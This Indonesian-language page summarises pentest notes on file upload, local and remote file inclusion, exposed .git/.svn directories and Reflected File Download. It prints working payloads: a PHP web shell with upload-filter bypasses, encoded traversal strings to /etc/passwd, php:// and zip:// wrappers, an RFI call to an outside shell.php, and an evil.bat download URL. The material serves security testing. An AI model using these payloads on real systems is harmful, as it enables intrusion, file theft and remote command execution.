Penanganan Berkas dan Pengungkapan Kode Sumber

Halaman ini membahas lima catatan repository yang semuanya bersinggungan dengan berkas: berkas yang masuk lewat fitur unggah, berkas yang disertakan oleh parameter page, dan berkas yang seharusnya menetap di sisi server tetapi terbaca dari luar. Pola yang menghubungkan kelimanya sederhana: satu field form atau satu parameter menentukan berkas mana yang dipakai server, dan pemeriksaan pada titik itulah yang menentukan hasilnya.

Unggah Berkas Tanpa Validasi

Catatan menyebut Arbitrary File Upload sebagai celah yang membuat penyerang dapat menaruh berkas berbahaya di server. Titik yang disarankan untuk diperiksa adalah fitur unggah berkas, misalnya unggah foto profil. Arbitrary File Upload.md:4-7¹

Sembilan tips di catatan itu tidak berdiri sendiri, melainkan menyerang lapisan validasi yang berbeda-beda. Semua contoh request memakai POST /images/upload/ dengan nama field uploaded.

Urutan request dari unggahan sampai eksekusi memakai nilai yang benar-benar tercatat di catatan: /images/upload/, dapos.php, image/jpeg, dan GIF89a.

sequenceDiagram
    autonumber
    participant A as Attacker
    participant U as Upload endpoint
    participant V as Validasi
    participant S as Server

    A->>U: POST /images/upload/ filename="dapos.php"
    U->>V: Content-Type: application/x-php
    V-->>A: ekstensi .php ditolak
    A->>U: filename="dapos.php.jpg"
    A->>U: Content-Type: image/jpeg
    V-->>U: lolos pemeriksaan ekstensi dan MIME
    A->>U: kirim ulang filename="dapos.php"
    U->>S: berkas .php tersimpan
    A->>S: GET berkas hasil unggah
    S-->>A: system('id') dieksekusi
%% fig: Siklus unggah berkas sampai eksekusi
%% desc: Request unggah melewati pemeriksaan ekstensi dan Content-Type lewat nama berkas ganda, lalu berkas yang tersimpan dipanggil untuk menjalankan perintah.

⚠️ Langkah 3 bukan variasi kosmetik: berkas berisi GIF89a; <?php system("id") ?> yang tersimpan di direktori yang dapat diakses web akan dieksekusi saat diminta lewat GET. Arbitrary File Upload.md:52-64⁴

Penyertaan Berkas di Sisi Server

Local File Inclusion dan Remote File Inclusion di catatan ini menunjuk titik masuk yang sama: endpoint yang menyertakan berkas dari web server, contohnya /index.php?page=index.html. Pada LFI berkas diambil dari disk server, pada RFI skrip diambil dari host luar. Local File Inclusion.md:4-7¹¹ Remote File Inclusion.md:4-7¹²

 graph TD
    P["/index.php?page=index.html"] --> L["../../../etc/passwd"]
    P --> R["http://daffa.info/shell.php"]
    L --> E["Encoding: %2e%2e%2f, %252e, %c0%ae, %00"]
    L --> T["Traversal unik: ....//, .%2e, %%32%65"]
    L --> W["Wrapper php:// dan zip://"]
    R --> F["RFI: http%3A%2F%2F, http%253A%252F%252F, %00"]
    W --> X["eksekusi perintah shell"]
    style P fill:#2d7d46,color:#fff
    style L fill:#336791,color:#fff
    style R fill:#f59e0b,color:#000
    style E fill:#f59e0b,color:#000
    style T fill:#f59e0b,color:#000
    style F fill:#f59e0b,color:#000
    style W fill:#8b5cf6,color:#fff
    style X fill:#dc2626,color:#fff
%% fig: Satu parameter include, dua arah pengambilan berkas
%% desc: Parameter page yang sama dapat diarahkan ke berkas lokal lewat traversal dan wrapper, atau ke skrip di host luar lewat RFI.

Empat lapis encoding yang sama muncul di kedua catatan. RFI hanya memuat empat baris, sedangkan LFI menambahkan encoding UTF-8 dan beberapa trik traversal lain.

LFI menambah satu lapis encoding lagi, yaitu UTF-8 (%c0%ae), yang ditulis sebagai %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd. Local File Inclusion.md:26-29²¹

Dua trik menyiasati lapisan yang memotong atau menormalkan path. Pertama, traversal dimulai dari folder yang benar-benar ada sehingga awalan tidak dicurigai: scripts/../../../../../etc/passwd. Local File Inclusion.md:36-39²² Kedua, path truncation memanjangkan path dengan pengulangan ./ sampai batas panjang terpotong, misalnya a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.. Local File Inclusion.md:41-45²³

Catatan juga menyimpan empat bentuk traversal yang tidak lolos filter biasa: ....//....//etc/passwd, ..///////..////..//////etc/passwd, /%5C../%5C../ dengan backslash ter-encode, dan /.%2e/.%2e/.%2e/.%2e/etc/passwd serta %%32%65 yang di-decode dua kali. Local File Inclusion.md:87-94²⁴

Ketika traversal saja tidak cukup, wrapper PHP menentukan bentuk keluaran maupun eksekusi. Local File Inclusion.md:47-51²⁵

Baris zip:// di tabel itu berasal dari blok perintah yang lebih panjang: payload ditulis ke payload.php, diarsipkan menjadi payload.zip, lalu diubah namanya menjadi shell.jpg sebelum dipanggil. Local File Inclusion.md:58-66²⁷

Karena RFI memuat skrip dari host luar, dampaknya bergantung pada kemampuan server menjangkau alamat tersebut. Sisi request yang dibuat server itu dibahas di Kontrol Akses dan Request Server Side.

Direktori VCS yang Terbuka

Kode sumber yang seharusnya tetap di sisi server kadang terbaca oleh pengguna. Catatan mengingatkan bahwa kode semacam itu dapat memuat password database dan secret key, dan bahan tersebut cukup untuk menyusun serangan lanjutan. Exposed Source Code.md:3-4³¹

⚠️ Enumerasi .git, .svn, atau .hg bukan langkah pasif. Hasil dump berisi riwayat dan berkas konfigurasi yang dapat memuat password database serta secret key, dan hal itu diakui langsung oleh catatan. Exposed Source Code.md:3-4³¹ Jika path tersebut dibalas 403, teknik pembukaannya ada di Teknik Bypass Kontrol.

Reflected File Download

Reflected File Download memperpanjang serangan refleksi keluar dari konteks browser: URL yang dibuat penyerang memaksa unduhan berkas dengan ekstensi apa pun, sehingga input yang ter-refleksi mendapat makna baru walaupun sudah di-escape dengan benar. Reflected File Download.md:3-4³⁸ Sisi browser dari input ter-refleksi dibahas di Kerentanan Sisi Klien dan Pengalihan URL.

Dua syarat harus terpenuhi sebelum teknik ini berlaku: ada input yang ter-refleksi, misalnya callback JSONP, dan nama berkas hasil unduhan dapat dikendalikan. Nama berkas bisa dikendalikan bila header Content-Disposition tidak memuat atribut filename, dan bila header itu tidak ada sama sekali, atribut download pada tag <a> dipakai sebagai jalur alternatif. Reflected File Download.md:7-20³⁹

graph LR
    I["input ter-refleksi (callback JSONP)"] --> C["nama berkas dapat dikendalikan"]
    C --> H["Content-Disposition tanpa atribut filename"]
    C --> D["atribut download pada tag a"]
    H --> U["unduhan otomatis"]
    D --> U
    U --> E["berkas .bat dijalankan pengguna"]
    style I fill:#2d7d46,color:#fff
    style C fill:#f59e0b,color:#000
    style H fill:#f59e0b,color:#000
    style D fill:#f59e0b,color:#000
    style U fill:#8b5cf6,color:#fff
    style E fill:#dc2626,color:#fff
%% fig: Dua jalur syarat Reflected File Download
%% desc: Input ter-refleksi dan kendali nama berkas bertemu di satu unduhan, baik lewat header Content-Disposition tanpa filename maupun atribut download pada tag a.

Bentuk header dan tag yang dipakai catatan untuk menguji syarat tersebut:

Content-Disposition: attachment;

<a download href="https://example/api/?id=1&outputtype=json&callback=||calc||">Press Here</a>

Reflected File Download.md:7-20³⁹

Payload gabungannya menempatkan nama berkas dan callback pada satu URL. Browser akan mengunduh evil.bat, dan berkas itu menjalankan kalkulator ketika dibuka. Reflected File Download.md:24-28⁴⁰

http://example.com/api;/evil.bat;?callback=||calc||

⚠️ Escape pada input tidak menetralkan teknik ini, karena yang dieksploitasi adalah nama berkas dan tipe unduhan, bukan konteks HTML. Reflected File Download.md:3-4³⁸